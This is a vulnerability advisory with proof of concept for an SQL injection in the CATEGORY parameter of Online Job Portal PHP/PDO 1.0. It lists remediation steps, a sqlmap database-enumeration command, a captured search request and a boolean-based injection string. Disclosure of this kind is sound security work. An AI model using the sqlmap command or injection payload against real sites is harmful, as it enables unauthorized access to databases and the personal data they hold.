# SQL Injection Vulnerability in Online Job Portal PHP/PDO 1.0 ## Vulnerability Overview The Online Job Portal PHP/PDO version 1.0 contains a remote SQL injection vulnerability. The `CATEGORY` parameter in search requests is not properly filtered, allowing attackers to execute arbitrary SQL commands by crafting malicious input. ## Affected Scope - **Software Name**: Online Job Portal In PHP/PDO v1.0 - **Vulnerability Type**: SQL Injection - **Affected Parameter**: `CATEGORY` - **Test Environment**: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4 - **Release Date**: 2020-08-21 - **Author**: Mohamed Elobeid (0b31d) ## Remediation 1. Perform strict input validation and filtering on the `CATEGORY` input parameter. 2. Use prepared statements and parameterized queries instead of directly concatenating SQL strings. 3. Ensure all user inputs are properly escaped or sanitized. ## POC Code ```bash # Title: online job portal phppdo v1.0 - SQL injection # Exploit Author: Mohamed Elobeid (0b31d) # Date: 2020-08-21 # Vendor Homepage: https://www.sourcecodester.com/php/13850/online-job-portal-in-php-pdo.html # Software Link: https://www.sourcecodester.com/download-code?nid=13850 # Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4 # Description This parameter "CATEGORY" is vulnerable to SQL injection in this portal. #POC 1-sqlmap -r request.txt -p CATEGORY --dbs where the request.txt is an intercept of a search request captured POST /jobportal/index.php?q=result&searchfor=advancesearch HTTP/1.1 Host: 192.168.52.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://192.168.52.1/jobportal/ Content-Type: application/x-www-form-urlencoded Content-Length: 41 Connection: close Cookie: PHPSESSID=bb4q25d3qceicepo7b3d26cfpp Upgrade-Insecure-Requests: 1 SEARCH=&CATEGORY=Managerial&COMPANY=Quest 2- use a proxy to intercept a search request ad change the CATEGORY Managerial' OR NOT 5832=5832#&COMPANY=Quest Regards, Mohamed Elobeid Security Engineer, Cyber Security Operations Center Diyar United Company ```